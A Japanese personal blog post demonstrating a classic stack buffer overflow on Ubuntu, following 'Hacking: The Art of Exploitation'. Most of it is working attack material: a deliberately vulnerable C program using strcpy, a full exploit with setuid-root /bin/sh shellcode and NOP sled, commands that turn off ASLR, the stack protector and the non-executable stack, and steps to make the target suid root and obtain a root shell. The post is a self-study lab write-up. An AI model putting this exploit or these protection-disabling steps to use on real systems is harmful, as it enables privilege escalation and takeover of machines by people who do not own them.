とみふらの明るく楽しい日記

日記や俺用メモなどなんでもあり。

Ubuntuでのスタックバッファオーバーフローアタック(stack buffer overflow attack)の実演方法

↓の「Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際」という本でバッファオーバーフローなどを用いた攻撃について学習してます。

↓英語版。第2版なので英語読める人はこっちのほうがいい。「Hacking: The Art of Exploitation」


しかし、最新のUbuntuなどではバッファオーバーフローアタックを防御するための機構があるため、デフォルトでは本の中にあるコードは動作しません。ということで動作させる方法です。


脆弱性のあるコード。
vuln.c

#include <stdio.h>

int main(int argc, char *argv[]){
  char buffer[500];
  strcpy(buffer, argv[1]);
  return 0;
}


exploitコード。
exploit.c

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void){
  __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]){

  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();
  ret = esp - offset;

  printf("sp = 0x%x\n",esp);
  printf("offset = 0x%x\n",offset);
  printf("ret = 0x%x\n",ret);

  buffer = malloc(600);

  ptr = buffer;
  addr_ptr = (long *)ptr;

  for(i=0; i<600; i += 4){
    *(addr_ptr++) = ret;
  }

  for(i=0; i<200; i++){
    buffer[i] = '\x90';
  }

  ptr = buffer + 200;
  for(i=0; i<strlen(shellcode); i++){
    *(ptr++) = shellcode[i];

  }

  buffer[600-1] = 0;

  execl("./vuln", "vuln", buffer, 0);

  free(buffer);

  return 0;
}

コードはほぼ本からのまるぱくり引用です。若干違う部分があるかもしれませんが。


まずはASLR(アドレス空間のレイアウトをランダム化する機能)を無効にします。

$ sudo sysctl -w kernel.randomize_va_space=0

次にvuln.cを次のコンパイルオプションをつけてコンパイルします。
-fno-stack-protector : Stack-Smashing Protector(SSP)(リターンアドレスなどの改竄を検出したらプログラムを終了させる機能?)を無効にする。
-z execstack : スタック上のコードを実行可能にする。

$ gcc -fno-stack-protector -z execstack -o vuln vuln.c

exploit.cは普通にコンパイルすれば大丈夫です。

$ gcc -o exploit exploit.c


これでスタックバッファオーバーフローを利用してシェルを起動できるはずです。
また、vulnが suid root プログラムであればrootが奪えます。

$ sudo chown root vuln
$ sudo chmod +s vuln
$ ./exploit
sp = 0xbffff798
offset = 0x0
ret = 0xbffff798
#